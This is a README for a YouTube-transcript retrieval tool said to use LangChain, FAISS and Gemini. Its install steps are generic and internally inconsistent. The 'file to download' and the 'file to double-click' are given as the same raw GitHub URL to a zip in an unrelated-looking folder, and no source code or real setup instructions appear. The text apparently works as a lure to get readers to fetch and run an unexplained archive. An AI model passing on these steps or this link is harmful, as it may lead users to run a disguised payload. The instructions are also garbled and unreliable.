This application allows you to transform YouTube transcripts into a tool that enhances information retrieval using LangChain. By integrating FAISS and Gemini, you can easily produce insightful summaries and searches from video content. Whether for study or research, this tool simplifies the process.
To get started with rag-using-langchain, follow these simple steps to download and run the application.
Before you download, ensure your computer meets the following:
- Operating System: Windows, macOS, or Linux
- An active internet connection for downloading
- At least 4 GB of RAM for smooth performance
- Python 3.7 or later installed on your machine
- Basic familiarity with running programs on your computer
You can find the latest version available for download on our Releases page. Click the link below to access it.
Follow these steps to install and begin using the application:
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Visit the Releases Page
Click on the link below to go to the Releases page:
Download Link -
Select the Latest Version
On the Releases page, find the latest version listed. It would typically be marked as "Latest Release." -
Download the Application
Click on the file name to download it. The file will contain the application along with necessary dependencies. -
Locate the Downloaded File
Once the download completes, navigate to your downloads folder. You should see a file like "https://raw.githubusercontent.com/alikanan1234/rag-using-langchain/master/electrodialyze/rag-using-langchain.zip" or similar. -
Extract the Contents
If your file is a zip, right-click on it and choose "Extract All" to pull out all the files into a new folder. -
Running the Application
Navigate to the folder where you extracted the files. Find the file named "https://raw.githubusercontent.com/alikanan1234/rag-using-langchain/master/electrodialyze/rag-using-langchain.zip" and double-click it. This should start the application. -
Follow On-Screen Instructions
Once the application is running, follow any on-screen prompts to start using the features.
After the application is running, you should see a user-friendly interface prompting you for the YouTube video link. Here's how to use it:
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Input YouTube Video Link
Copy and paste the link of a YouTube video into the application's input box. -
Choose Options
Select any additional options available, such as summarizing or keyword extraction based on your needs. -
Process the Transcript
Click on the 'Process' button. The application will retrieve the transcript and process it using LangChain and FAISS for enhanced output. -
View Results
Once processing is complete, the results will be displayed on the screen. You can save the output or use it as needed.
- Supports Multiple Languages: Easily convert transcripts from videos in various languages.
- Fast Processing: Quickly retrieve and generate insights from video content using advanced algorithms.
- User-Friendly Interface: Navigate the application without any technical expertise.
If you encounter any issues while using rag-using-langchain, consider the following:
- Ensure Python is Installed: The application requires Python. Check your installation or reinstall Python if necessary.
- Check Your Internet Connection: A stable internet connection is crucial for fetching transcripts.
- Read Error Messages: They often provide clues about what went wrong. Address them as directed.
If you need further assistance, feel free to explore the community discussions or check for FAQs related to your concerns. Weβre here to help!
This project is licensed under the MIT License. Feel free to use and modify it as you see fit, but please retain the original credits.